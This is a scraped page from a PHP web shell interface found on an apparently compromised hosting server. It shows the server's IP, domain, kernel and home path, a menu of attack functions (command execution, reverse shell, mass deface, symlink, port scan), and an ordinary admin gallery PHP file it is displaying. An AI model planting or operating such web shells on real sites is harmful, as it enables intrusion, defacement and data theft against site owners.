Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
eileen
/
admin
/
pages
/
Viewing: gallery.php
<?php $db = getDB(); $images = $db->query('SELECT * FROM gallery_images ORDER BY sort_order ASC')->fetchAll(); ?> <div class="admin-card"> <div class="card-header"> <div class="card-title"><i class="ph-fill ph-images"></i> Galería de Fotos</div> </div> <!-- Upload zone --> <div class="upload-zone" onclick="document.getElementById('galleryUpload').click()" style="margin-bottom:1.5rem;"> <i class="ph-fill ph-cloud-arrow-up"></i> <p>Haz clic o arrastra imágenes para subir</p> <input type="file" id="galleryUpload" accept="image/*" multiple onchange="uploadGalleryImages(this)"> </div> <!-- Gallery grid --> <?php if (empty($images)): ?> <div class="empty-state"> <i class="ph-fill ph-image-broken"></i> <p>No hay imágenes en la galería</p> </div> <?php else: ?> <div class="gallery-admin-grid"> <?php foreach ($images as $img): ?> <div class="gallery-admin-item"> <img src="../<?= htmlspecialchars($img['image_path']) ?>" alt="<?= htmlspecialchars($img['alt_text']) ?>"> <div class="overlay-actions"> <button class="btn-icon" onclick="confirmDelete('imagen',<?= $img['id'] ?>, deleteGalleryImage)" title="Eliminar"> <i class="ph-bold ph-trash" style="color:var(--admin-danger)"></i> </button> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> </div> <script> async function uploadGalleryImages(input) { if (!input.files.length) return; for (const file of input.files) { const formData = new FormData(); formData.append('action', 'upload_gallery_image'); formData.append('image', file); try { const response = await fetch('api.php', { method: 'POST', body: formData }); const result = await response.json(); if (result.success) { showToast('Imagen subida correctamente', 'success'); } else { showToast(result.message || 'Error al subir', 'error'); } } catch(err) { showToast('Error de conexión', 'error'); } } setTimeout(() => location.reload(), 1000); } async function deleteGalleryImage(id) { const result = await adminFetch('delete_gallery_image', { id }); if (result.success) setTimeout(() => location.reload(), 500); } </script>
Coded With 💗 by
0x6ick